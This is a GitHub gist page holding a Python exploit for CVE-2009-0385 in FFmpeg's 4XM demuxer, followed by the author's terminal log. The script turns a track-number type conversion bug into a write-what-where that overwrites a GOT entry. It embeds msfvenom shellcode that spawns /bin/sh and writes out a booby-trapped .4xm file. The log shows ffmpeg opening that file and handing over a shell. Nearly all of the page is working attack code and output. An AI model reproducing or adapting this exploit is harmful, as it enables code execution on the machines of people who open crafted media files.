Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active March 23, 2021 22:10
Show Gist options
  • Save mgeeky/dfa1bf2e7ee2d27864b137186838a872 to your computer and use it in GitHub Desktop.
Save mgeeky/dfa1bf2e7ee2d27864b137186838a872 to your computer and use it in GitHub Desktop.
CVE-2009-0385 FFmpeg 0.4.9-pre1 Type Conversion into Write-What-Where exploit (non RELRO)
#!/usr/bin/python
#
# Vulnerable software:
# FFmpeg 0.4.9-pre1 (before 0.5), or the one accessible at:
# SVN-16556
# svn checkout svn://svn.ffmpeg.org/ffmpeg/trunk@16556 ffmpeg
#
# Vulnerability has been discovered and documented by:
# Tobias Klein / http://www.trapkit.de
# http://www.trapkit.de/advisories/TKADV2009-004.txt
#
# The exploit targets Type Conversion leading to Write-What-Where condition
# during demuxing process of 4XM media files (non RELRO). Currently the exploit has
# been hardcoded to be used under Ubuntu 8.04, 32 bit with GOT entry of
# posix_memalign located at:
# 0x08539304 (this is the Where part of overwrite)
#
# If there is a need to use different address, the proper value that should got into
# the corrupted file's structure (strictly speaking strk structure) has to be computed
# following the formula described in convert_overwrite_to_track_number method's comment.
#
# The 'what' part is an hardcoded address pointing directly to the beginning
# of the media file's buffer within memory (address of first bytes, 'RIFF' signature).
#
# There has been stored a metasploit generated shellcode spawning /bin/sh as a PoC
#
# Exploit by mgeeky / Mariusz B., '17
#
import ctypes
import struct
import sys
import os
# Hardcoded return address pointing at the File's contents + 0x200,
# where our SHELLCODE has been placed.
# This below address should point at the very beginning of the 4XM file
# (the 'RIFF' signature). Since ASLR might be in place - we will try to brute
# force it by spawning multiple instances of FFmpeg until it breaks.
RETURN_ADDRESS = 0x8868320
# GOT entry to overwrite.
GOT_MEMALIGN_ADDRESS = 0x08539304
# Hardcoded values, previously found for specific address:
# This values were found manually with such a python computation:
# >>> out('0x%08x' % (ctypes.c_int32((((0x8d3760f3) * 5) << 2) + 0x08).value)
# 0x08539304
# To match the above GOT_MEMALIGN_ADDRESS (or any other GOT the attacker wants).
# If one likes to change that hardcoded value to match GOT address of his choosal, we will
# have to either run the convert_overwrite_to_track_number method or find by hand this hardcoded
# DWORD that will be evaluated to proper GOT address during Write-What-Where.
HARDCODED_VALUES = (0x8d3760f3, 36)
# HARDCODED_VALUES = () # Turn off hardcoded values usage.
STRK_TAG = 'strk'
# Shellcode to be used:
# work|16:00|~ # msfvenom -p linux/x86/exec CMD=/bin/sh -f py -v SHELLCODE
SHELLCODE = ""
SHELLCODE += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68"
SHELLCODE += "\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52"
SHELLCODE += "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
SHELLCODE += "\x00\x57\x53\x89\xe1\xcd\x80"
QUIET = False
def replace(data, start, length, what):
for (n, r) in zip(range(start, start+length), list(what)):
data[n] = r
return data
#
# This function converts expected address within memory that the exploit
# should overwrite (the 'where' part) into needed track number value. Since
# track number's structure member address gets calculated as follows:
# ( 5 * track_number) << 2) + OFFSET
# Where OFFSET is the offset to a structure member that we shall corrupt, it may be:
# bits - (4, 44)
# channels - (8, 36)
# adpcm - (16, 12)
#
# As it occurs in the libavformat/4xm.c source code file:
# fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
# fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
# fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);
# fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
#
# adpcm, channels, sample_rate, bits are the structure members that has offsets which
# shall be used during exploit's instrumentation (address computation), therefore
# we have to find which pair of (OFFSET, header_value_offset) pair will be matching.
#
# We have to provide a track number value that would produce expected 'where' address
# of our choosal. To do so we begin with a brute-force fashion lookup method, with
# iteration over only negative-integer values range.
#
def convert_overwrite_to_track_number(val):
# attempt 1: try to compute it directly.
offsets = (4, 8, 16)
member_offset = (44, 36, 12)
for i in xrange(len(offsets)):
offset = offsets[i]
x = ctypes.c_int32(ctypes.c_int32(val - offset).value / 20).value
xval = ctypes.c_int32(ctypes.c_int32(x).value * 20 + offset).value
out('[.] Resulted value: 0x%08x / %x / %x, offset: %x, member offset: %x' % (x, xval, val, offset, member_offset[i]))
if xval == val:
out('[+] Found valid track number that will yield overwrite address: 0x%08x' % val)
out('[.] Resulted value: 0x%08x, offset: %x, member offset: %x' % (x, offset, member_offset[i]))
return (x, member_offset[i])
out('[?] Could not compute the value directly (%x, %x, %x), proceeding brute-force search.' % (x, xval, val))
# attempt 2: try to brute-force it.
start = 0x80000000
stop = 0xffffffff
i = start
while i < stop:
for j in xrange(len(offsets)):
b = (i * 20) + offset[j]
if (b == val):
out('[+] Found valid track number that will yield overwrite address: 0x%08x' % val)
out('[.] Resulted value: 0x%08x, offset: %x, member offset: %x' % (i, offset, member_offset[j]))
return (i, member_offset[j])
i += 1
out('[!] Could not convert expected overwrite address into track number!')
return 0
def bytearray(val):
import struct
out = []
for c in val:
out.append(struct.pack('B', ord(c)))
return out
def out(x):
if not QUIET:
print x
def main(argv):
if len(argv) == 1:
out('Usage: exploit.py <4xm-file> [-q]\nWhere:\n\t-q\t- Quiet mode.')
sys.exit(1)
f = open(argv[1], 'rb')
data = bytearray(f.read())
if len(argv) == 3:
if argv[2] == '-q':
global QUIET
QUIET = True
pos = -1
for i in xrange(len(data)-4):
dword = ''.join(data[i:i+4])
if dword == STRK_TAG:
pos = i
if pos == -1:
out( '[!] Not a valid 4XM file.')
sys.exit(1)
out( '[.] Got a valid 4XM file.')
if HARDCODED_VALUES:
(addr, offset) = (HARDCODED_VALUES[0], HARDCODED_VALUES[1])
out('[?] Using hardcoded values.')
else:
(addr, offset) = convert_overwrite_to_track_number(GOT_MEMALIGN_ADDRESS)
if not addr:
return
# Step 1: Replace 4XM's track number which will constitute of overwrite address (WHERE)
data = replace(data, pos + 8, 4, struct.pack('<I', addr))
# Step 2: Replace 4XM's audio type member with "WHAT"
data = replace(data, pos + offset, 4, struct.pack('<I', RETURN_ADDRESS+0x200))
# Step 3: Insert the shellcode.
out('[+] Writing %d bytes long shellcode.' % len(SHELLCODE))
data = replace(data, 0x200, len(SHELLCODE), SHELLCODE)
out('[+] Exploit file has been generated. Now run FFmpeg with it.')
new_file = os.path.join(os.path.dirname(argv[1]), os.path.splitext(argv[1])[0] + '-exploit.4xm')
f.close()
f = open(new_file, 'wb')
f.write(''.join(data))
f.close()
out('[+] Prepared file: "%s"' % new_file)
out('[+] Now launch the ffmpeg via some player like VLC or directly like: "ffmpeg -i exploit.4xm"')
if __name__ == '__main__':
main(sys.argv)
@mgeeky
Copy link
Author

mgeeky commented May 29, 2017

In action:

parasite@parasite-laptop:~/ffmpeg-svn$ ./exploit.py original.4xm 
[.] Got a valid 4XM file.
[?] Using hardcoded values.
[+] Writing 43 bytes long shellcode.
[+] Exploit file has been generated. Now run FFmpeg with it.
[+] Prepared file: "original-exploit.4xm"
[+] Now launch the ffmpeg via some player like VLC or directly like: "ffmpeg -i exploit.4xm"
parasite@parasite-laptop:~/ffmpeg-svn$ ./ffmpeg -i original-exploit.4xm 
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
  configuration: 
  libavutil     49.12. 0 / 49.12. 0
  libavcodec    52.10. 0 / 52.10. 0
  libavformat   52.23. 1 / 52.23. 1
  libavdevice   52. 1. 0 / 52. 1. 0
  built on May 29 2017 13:38:09, gcc: 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
$ id
uid=1000(parasite) gid=1000(parasite) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(parasite)
$ 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment